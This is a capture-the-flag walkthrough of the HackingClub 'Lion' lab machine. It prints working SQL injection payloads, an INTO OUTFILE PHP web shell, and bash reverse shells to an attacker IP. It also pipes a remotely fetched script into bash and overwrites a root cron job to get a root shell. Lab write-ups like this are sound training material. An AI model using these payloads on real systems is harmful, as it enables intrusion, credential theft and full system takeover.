↓Skip to main content

[Write-Up] HackingClub: Lion

·9 mins
Linux HackingClub Easy SQLi CronJob
Table of Contents

Recon #

Nmap #

┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sS lion.hc      
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-09 19:45 -0400
Nmap scan report for lion.hc (172.16.11.142)
Host is up (0.30s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 272.95 seconds

┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sV lion.hc -p 22,80,111,3306 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-09 19:58 -0400
Nmap scan report for lion.hc (172.16.11.142)
Host is up (0.30s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.66 (() PHP/7.4.15)
111/tcp  open  rpcbind 2-4 (RPC #100000)
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds

We’ve found four services running that are exposed to everyone on the network. A SSH server, an Apache web server running on port 80, a RPCBind server running on 111 and a MySQL server.

We try to access the RPCBind and MySQL without success. Running an enumeration on Apache web server returns some results.

Enumeration #

Fuzzing HTTP #

┌──(kali㉿kali)-[~/Downloads]
└─$ ffuf -u http://lion.hc/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lion.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 2821ms]
.htpasswd.php           [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4774ms]
.htpasswd               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4774ms]
.htaccess.php           [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4777ms]
about-us.php            [Status: 200, Size: 2581, Words: 559, Lines: 87, Duration: 151ms]
admin                   [Status: 301, Size: 269, Words: 15, Lines: 8, Duration: 155ms]
category.php            [Status: 200, Size: 5111, Words: 1634, Lines: 173, Duration: 170ms]
cgi-bin/                [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 165ms]
contact-us.php          [Status: 200, Size: 2694, Words: 561, Lines: 87, Duration: 192ms]
css                     [Status: 301, Size: 267, Words: 15, Lines: 8, Duration: 150ms]
images                  [Status: 301, Size: 270, Words: 15, Lines: 8, Duration: 154ms]
includes                [Status: 301, Size: 272, Words: 15, Lines: 8, Duration: 165ms]
index.php               [Status: 200, Size: 8289, Words: 2468, Lines: 234, Duration: 150ms]
js                      [Status: 301, Size: 266, Words: 15, Lines: 8, Duration: 187ms]
mail                    [Status: 301, Size: 268, Words: 15, Lines: 8, Duration: 157ms]
plugins                 [Status: 301, Size: 271, Words: 15, Lines: 8, Duration: 202ms]
search.php              [Status: 200, Size: 7363, Words: 2364, Lines: 232, Duration: 203ms]
vendor                  [Status: 301, Size: 270, Words: 15, Lines: 8, Duration: 154ms]
:: Progress: [40938/40938] :: Job [1/1] :: 113 req/sec :: Duration: [0:03:03] :: Errors: 0 ::

Also, manually looking at the site we find these two endpoints that accepts some parameters:

  • http://lion.hc/category.php?catid=2
  • http://lion.hc/news-details.php?nid=7
┌──(kali㉿kali)-[~/Downloads]
└─$ seq 0 100 | ffuf -w - -u http://lion.hc/news-details.php?nid=FUZZ -fs 6085

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lion.hc/news-details.php?nid=FUZZ
 :: Wordlist         : FUZZ: -
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 6085
________________________________________________

7                       [Status: 200, Size: 8972, Words: 2443, Lines: 225, Duration: 409ms]
12                      [Status: 200, Size: 7944, Words: 2203, Lines: 216, Duration: 413ms]
10                      [Status: 200, Size: 7325, Words: 2109, Lines: 216, Duration: 5725ms]
11                      [Status: 200, Size: 8172, Words: 2234, Lines: 216, Duration: 5725ms]
:: Progress: [101/101] :: Job [1/1] :: 16 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
                                                                                                                   
┌──(kali㉿kali)-[~/Downloads]
└─$ seq 0 100 | ffuf -w - -u http://lion.hc/category.php?catid=FUZZ -fs 5111  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lion.hc/category.php?catid=FUZZ
 :: Wordlist         : FUZZ: -
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 5111
________________________________________________

3                       [Status: 200, Size: 6183, Words: 1908, Lines: 196, Duration: 387ms]
7                       [Status: 200, Size: 6170, Words: 1900, Lines: 196, Duration: 1002ms]
6                       [Status: 200, Size: 6819, Words: 2079, Lines: 208, Duration: 1003ms]
:: Progress: [101/101] :: Job [1/1] :: 58 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

Manual Exploring #

Doing some manual exploration we also find a comment section, this may be a vector for XSS, but this would be a blind XSS injection, since it must be approved by the admin before it’s published.

We also find an admin portal, first thing done on that page was trying for SQL injection, which was of no success.

Some other pages we’ve found:

  • http://lion.hc/js/contact_me.js
  • http://lion.hc/mail/contact_me.php
  • http://lion.hc/search.php

Vulnerabilities #

SQL Injection on search.php #

One of our findings in recon was the endpoint /search.php, upon sending a query with ' we find out that this endpoint may be vulnerable for SQL Injection and also the first flag:

Upon sending the query ' or 1=1-- -, it returns all articles, confirming we do have a basic SQL injection on this endpoint.

First step on such a vulnerability is to find out how many columns the query is returning. We run the query below, increasing the number sequentially until we get an error:

' ORDER BY X-- -
' ORDER BY 8-- - # Query fails, so we have 7 columns

Then we can move on to find a column that’s of the type string:

' UNION SELECT NULL,'a',NULL,NULL,NULL,NULL,NULL-- -

Now we want to find out what is the database we are dealing with, so we can enumerate the tables:

' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL-- -
# 5.5.68-MariaDB

Now we explore the databases we’ve access to:

' UNION SELECT NULL,table_schema,NULL,NULL,NULL,NULL,NULL from information_schema.tables-- -
# information_schema
# news
# performance_schema

After that, we enumerate the tables we have on database news:

' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL from information_schema.tables WHERE table_schema = 'news'-- -
# tbladmin
# tblcategory
# tblcomments
# tblpages
# tblposts
# tblsubcategory

The table tbladmin stands out to use, so we enumerate it’s columns:

' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL,NULL from information_schema.columns WHERE table_name = 'tbladmin'-- -
# id
# AdminUserName
# AdminPassword
# AdminEmailId
# Is_Active
# CreationDate
# UpdationDate

We then get the information stored on AdminUserName and AdminPassword, we find out there’s an admin user and it’s hash, we try to break it with John the Ripper but without success.

' UNION SELECT NULL,concat(AdminUserName,":",AdminPassword,NULL,NULL,NULL,NULL,NULL from tbladmin-- -
# admin:$2y$12$hu9MjecXIjTfVg8VW8hTtOb8EWdd3muA773vZa7r5m0QepC9PJ4b.

Exploitation #

A thing we can try to perform through a UNION SELECT attack is to write a file, we’ve enumerated the /include path, we try to create a file on that endpoint, a basic web shell:

'union select 1,"<?php system($_GET['cmd']) ?>",3,4,5,6,7 into outfile "/var/www/html/includes/cmd.php"-- -

With that, we get an initial access to the machine that also enables us to get the second flag:

view-source:http://lion.hc/includes/cmd.php?cmd=cat%20/flag.txt

uhc{REDACTED}

Since we can write an arbitrary file to the system, we can also get a reverse shell, we open a netcat on port 4444 and get an initial foothold:

'union select 1,"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'\") ?>",3,4,5,6,7 into outfile "/var/www/html/includes/rv.php"-- -

Privilege Escalation #

With that access, we try to escalate to root, we run the recon script:

echo "[+] Current user: $(whoami)"
echo "    User id: $(id)"
echo "    User groups: $(groups)"
echo -e "[+] User history:\n$(history)"
echo -e "[+] Login users:\n$(cat /etc/passwd | grep -vE 'nologin|/bin/false' | cut -d':' -f1)"
#echo "[+] Sudo permissions: $(sudo -l)"
echo ""
echo "=== SYSTEM INFORMATION ==="
echo "[+] Hostname: $(hostname -I)"
echo "[+] Kernel Version: $(cat /proc/version)"
echo "[+] Linux Distro: $(cat /etc/issue)"

echo "---------"
echo "=== MACHINE STATE ==="
echo "[+] Running proccess"
#ps aux
echo "[+] Environment variables"
env

echo "[+] Bash sensitive files"
find / -name .bash* 2>/dev/null
echo "[+] 0777 files"
find / -type f -perm 0777 2>/dev/null
echo "[+] SUID files"
find / -perm u=s -type f 2>/dev/null
echo "[+] Files changed recently"
find / -cmin 60 2>/dev/null
echo "[+] Files with capabilities"
getcap -r / 2>/dev/null
echo "[+] Cron jobs"
cat /etc/crontab

bash-4.2$ wget -qO - http://10.0.9.28:8000/recon.sh | bash
[+] Current user: apache
    User id: uid=48(apache) gid=48(apache) groups=48(apache)
    User groups: apache
[+] User history:

[+] Login users:
root
sync
shutdown
halt
ec2-user

=== SYSTEM INFORMATION ===
[+] Hostname: 172.16.15.171 
[+] Kernel Version: Linux version 4.14.219-164.354.amzn2.x86_64 (mockbuild@ip-10-0-1-103) (gcc version 7.3.1 20180712 (Red Hat 7.3.1-12) (GCC)) #1 SMP Mon Feb 22 21:18:39 UTC 2021
[+] Linux Distro: \S
Kernel \r on an \m
---------
=== MACHINE STATE ===
[+] Running proccess
[+] Environment variables
TERM=xterm-256color
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
PWD=/opt/lion
LANG=C
NOTIFY_SOCKET=/run/systemd/notify
SHLVL=5
_=/usr/bin/env
[+] Bash sensitive files
/etc/skel/.bash_logout
/etc/skel/.bash_profile
/etc/skel/.bashrc
[+] 0777 files
[+] SUID files
[+] Files changed recently
[+] Files with capabilities
/usr/bin/ping cap_net_admin,cap_net_raw=p
/usr/sbin/arping cap_net_raw=p
/usr/sbin/clockdiff cap_net_raw=p
/usr/sbin/mtr-packet cap_net_raw=ep
/usr/sbin/suexec cap_setgid,cap_setuid=ep
[+] Cron jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

* * * * * root /opt/lion/lion.backup.sh

We find out that we have a backup running every minute. Looking at that folder we find out that the script is write able to everyone.

bash-4.2$ ls -lhart /opt/lion
total 20K
drwxr-xr-x 5 root root  39 Mar 19  2021 ..
-rw-r--r-- 1 root root 15K Sep 11 01:47 dump.sql
-rwxr-xrwx 1 root root  74 Sep 11 01:47 lion.backup.sh
drwxr-xr-x 2 root root  54 Sep 11 01:49 .

So we overwrite it with a reverse shell, with that, we open a netcat on port 4445 and wait for the cronjob to run, when it run’s we get a root shell:

echo -e "touch /opt/lion/rv\n/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4445 0>&1'" > /opt/lion/lion.backup.sh

┌──(kali㉿kali)-[~/Machines/HC-Lion]
└─$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.15.171] 48618
bash: no job control in this shell
[root@ip-172-16-15-171 ~]# ls
ls
root.txt
[root@ip-172-16-15-171 ~]# cat root.txt
cat root.txt
uhc{REDACTED}

Flags #

  • SQL Injection (search.php): uhc{REDACTED}
  • RCE / Initial Foothold (cmd.php webshell): uhc{REDACTED}
  • Root: uhc{REDACTED}